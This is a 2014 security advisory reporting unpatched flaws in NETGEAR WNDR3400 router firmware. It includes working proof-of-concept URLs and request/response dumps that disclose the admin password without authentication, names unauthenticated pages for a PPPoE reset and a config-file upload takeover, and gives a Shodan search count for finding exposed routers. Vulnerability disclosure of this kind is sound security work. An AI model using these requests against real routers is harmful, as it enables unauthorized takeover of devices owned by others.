Title: Multiple vulnerabilities in NETGEAR N600 WIRELESS DUAL BAND WNDR3400
====================================================================================
Notification Date: 4/14/2014
Affected Vendor: NETGEAR N600 WIRELESS DUAL BAND WNDR3400
Firmware Version: Firmware Version 1.0.0.38 AND BELOW (ALL versions affected)
Issue Types: password Disclosure File Uploading with AuthPPOPE settings Change
Discovered by: Santhosh Kumar twitter: @security_b0x
Issue status: No Patch >From the Vendors.
grettings: @Anami2111 (anamika singh) -- creator of wihawk
====================================================================================
Summary:
========
While i was lurking around the Netgear firmware today i came across various tweaking and others i was able to find a password disclosure,File uploading vulnerably which could compromise the entire router.as of now no patch from the vendor.
Password Disclosure:
====================
url: server/unauth.cgi?id=393087602
Generating with the 401 unauthorised error
poc:
Host: server:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server:8080/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0<p class="MNUTitle">Router Password Recovered</p>
<table border="0" cellpadding="0" cellspacing="3" style="width:600px">
<col width="200" />
<col width="400" />
<tr>
<td colspan="2" class="MNUText">You have successfully recovered the admin password.</td>
</tr>
<tr>
<td class="MNUText" align="right">Router Admin Username</td>
<td class="MNUText" align="left">admin</td>
</tr>
<tr>
<td class="MNUText" align="right">Router Admin Password</td>
<td class="MNUText" align="left">password</td>
</tr>
\<tr>
poc2:
server:8080/passwordrecovered.cgi?id=1738955828
<tr>
<td colspan="2" class="MNUText">You have successfully recovered the admin password.</td>
</tr>
<tr>
<td class="MNUText" align="right">Router Admin Username</td>
<td class="MNUText" align="left">admin</td>
</tr>
<tr>
<td class="MNUText" align="right">Router Admin Password</td>
<td class="MNUText" align="left">0514</td>
</tr>
<tr>
<td colspan="2" class="MNUText">You can now log in to the router using username "admin" and this recovered password.</td>
</tr>
<tr>
==============================================================================================================================
Ppope account reset:
Netgear runs a utility called "netgear genie" which does not have proper authentication on reaching "genie_pppoe.htm "
which allows to reset the ppoe username which any basic authentication.
http://server/genie_pppoe.htm
==============================================================================================================================
File Upload (router reset):
like the same one above the "http://server/genie_restore.htm"
the config file can be uploaded which leading to reseting the control to attackers username and password.
*.cfg file.
==============================================================================================================================
SHODAN DORK:
wndr3400: 10198 for wndr3400
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